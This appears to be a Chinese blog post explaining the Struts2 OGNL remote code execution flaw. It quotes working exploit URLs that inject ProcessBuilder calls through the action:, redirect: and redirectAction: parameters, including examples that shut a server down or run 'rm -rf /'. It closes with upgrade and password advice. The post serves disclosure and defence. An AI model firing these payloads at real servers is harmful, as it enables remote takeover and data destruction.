Struts2前两天被爆高危漏洞,详细信息如下:简单来说,就是任意用户可以在Url中嵌入特定的语句来在使用了Struts2的Java服务器上执行任意代码。这是官方给出的利用方法(猪……):
- Simple Expression - the parameter names are evaluated as OGNL.
http:
//host/struts2-blank/example/X.action?action:%{3*4}
http:
//host/struts2-showcase/employee/save.action?redirect:%{3*4}
- Command Execution
http:
//host/struts2-blank/example/X.action?action:%{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http:
//host/struts2-showcase/employee/save.action?redirect:%{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
http:
//host/struts2-showcase/employee/save.action?redirectAction:%{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()}
通过后面添加action、redirect、redirectAction等url,可以在服务器上web服务器所在权限执行任意的代码。
也许这么说还不是很明白,再举个例子如果网站运行在Windows服务器上,直接执行http://localhost:8080/context/aa.action?redirect:%{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'Shutdown','-s','-t','1'})).start()}就可以让服务器直接关机;如果网站运行在Linux服务器上,执行http://host//save.action?action:%{(new+java.lang.ProcessBuilder(new+ java.lang.String[]{'rm','-rf','/'})).start()}呵呵~~
也许没有权限执行rm -rf/,但是关个机重个启清空个数据库肯定是没问题吧。既然如此方便,这个漏洞现在估计早就被各种黑客玩出花了。
这年头高危漏洞多的是,为什么这次会引发这么大的影响呢?1.漏洞使用简单,并且可以执行任意代码2.Struts2框架在互联网上的使用非常普遍(淘宝、京东、各种公司政府网站)3.Struts官方主动爆出利用方法而不是只声明漏洞信息(典型猪队长)4.傻瓜化工具出现:一帮小学生黑客正在袭来。
而对于普通用户的影响:1.网站上的数据被窃,包括用户名密码和所有个人信息,甚至包括所有活动历史记录(比如网购记录之类)2.所有数据丢失(比如充值的rmb没了之类)3.如果在不同网站使用相同密码,很有可能其他网站的信息也会被盗
网站现在需要做的:赶快检查服务器配置和版本。如果是受到影响的版本(估计肯定是了),赶快更新到2.3.15.1http://struts.apache.org/download.cgi#struts23151检查服务器Log,查看最近是否有异常情况记录。
用户需要做的:重要的网站密码赶快修改,最近一段时间不要听信各种中奖汇款等信息。。。然后听天由命吧